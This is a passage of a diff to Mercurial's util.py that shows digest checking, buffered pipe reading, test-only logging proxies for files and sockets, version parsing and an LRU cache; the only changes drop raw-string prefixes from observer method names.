                 raise error.Abort(_(b'unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_(b'unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(
                 _(b'size mismatch: expected %d, got %d')
                 % (self._size, self._got)
             )
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(
                     _(b'%s mismatch: expected %s, got %s')
                     % (k, v, self._digester[k])
                 )
 
 
 try:
     buffer = buffer
 except NameError:
 
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset : offset + length]
         return memoryview(sliceable)[offset:]
 
 
 _chunksize = 4096
 
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [b''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find(b'\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find(b'\n')
         size = lfi + 1
         if lfi < 0:  # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return b''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = b''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data) :]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return b''
         raise
 
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, r'_orig', fh)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             r'_observer',
             # IOBase
             r'close',
             # closed if a property
             r'fileno',
             r'flush',
             r'isatty',
             r'readable',
             r'readline',
             r'readlines',
             r'seek',
             r'seekable',
             r'tell',
             r'truncate',
             r'writable',
             r'writelines',
             # RawIOBase
             r'read',
             r'readall',
             r'readinto',
             r'write',
             # BufferedIOBase
             # raw is a property
             r'detach',
             # read defined above
             r'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, r'_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'close', *args, **kwargs
         )
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'fileno', *args, **kwargs
         )
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'flush', *args, **kwargs
         )
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'isatty', *args, **kwargs
         )
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readable', *args, **kwargs
         )
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readline', *args, **kwargs
         )
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readlines', *args, **kwargs
         )
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seek', *args, **kwargs
         )
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seekable', *args, **kwargs
         )
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'tell', *args, **kwargs
         )
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'truncate', *args, **kwargs
         )
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writable', *args, **kwargs
         )
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writelines', *args, **kwargs
         )
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read', *args, **kwargs
         )
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readall', *args, **kwargs
         )
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readinto', *args, **kwargs
         )
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'write', *args, **kwargs
         )
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'detach', *args, **kwargs
         )
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read1', *args, **kwargs
         )
 
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
 
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
-        fn = getattr(self._input._observer, r'osread', None)
+        fn = getattr(self._input._observer, 'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
-        fn = getattr(self._input._observer, r'bufferedread', None)
+        fn = getattr(self._input._observer, 'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
-        fn = getattr(self._input._observer, r'bufferedreadline', None)
+        fn = getattr(self._input._observer, 'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 
 PROXIED_SOCKET_METHODS = {
     r'makefile',
     r'recv',
     r'recvfrom',
     r'recvfrom_into',
     r'recv_into',
     r'send',
     r'sendall',
     r'sendto',
     r'setblocking',
     r'settimeout',
     r'gettimeout',
     r'setsockopt',
 }
 
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, r'_orig', sock)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, r'_observedcall')(
             r'makefile', *args, **kwargs
         )
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, r'_observer')
         return makeloggingfileobject(
             observer.fh,
             res,
             observer.name,
             reads=observer.reads,
             writes=observer.writes,
             logdata=observer.logdata,
             logdataapis=observer.logdataapis,
         )
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv', *args, **kwargs
         )
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom', *args, **kwargs
         )
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom_into', *args, **kwargs
         )
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv_info', *args, **kwargs
         )
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'send', *args, **kwargs
         )
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendall', *args, **kwargs
         )
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendto', *args, **kwargs
         )
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setblocking', *args, **kwargs
         )
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'settimeout', *args, **kwargs
         )
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'gettimeout', *args, **kwargs
         )
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setsockopt', *args, **kwargs
         )
 
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write(b'\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(b': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write(
                     b'%s>     %s\n' % (self.name, stringutil.escapestr(data))
                 )
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(b':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write(
                 b'%s>     %s\n' % (self.name, stringutil.escapestr(line))
             )
         self.fh.flush()
 
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
 
     def __init__(
         self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
     ):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = b''
 
         if size == -1 and res == b'':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
             )
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
             )
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
             )
 
         self._writedata(res)
 
 
 def makeloggingfileobject(
     logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
 ):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return fileobjectproxy(fh, observer)
 
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
 
     def __init__(
         self,
         fh,
         name,
         reads=True,
         writes=True,
         states=True,
         logdata=False,
         logdataapis=True,
     ):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
             )
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom(%d, %d) -> %d'
                 % (self.name, size, flags, len(res[0]))
             )
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom_into(%d, %d) -> %d'
                 % (self.name, size, flags, res[0])
             )
 
         self._writedata(buf[0 : res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
             )
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write(
             b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
         )
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write(
                 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
             )
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> sendto(%d, %d, %r) -> %d'
                 % (self.name, len(data), flags, address, res)
             )
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write(
             b'%s> setsockopt(%r, %r, %r) -> %r\n'
             % (self.name, level, optname, value, res)
         )
 
 
 def makeloggingsocket(
     logh,
     fh,
     name,
     reads=True,
     writes=True,
     states=True,
     logdata=False,
     logdataapis=True,
 ):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         states=states,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return socketproxy(fh, observer)
 
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
 
         return __version__.version
     except ImportError:
         return b'unknown'
 
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
     if not m:
         vparts, extra = b'', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     vints = []
     for i in vparts.split(b'.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
 
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
 
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
 
     __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
 
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
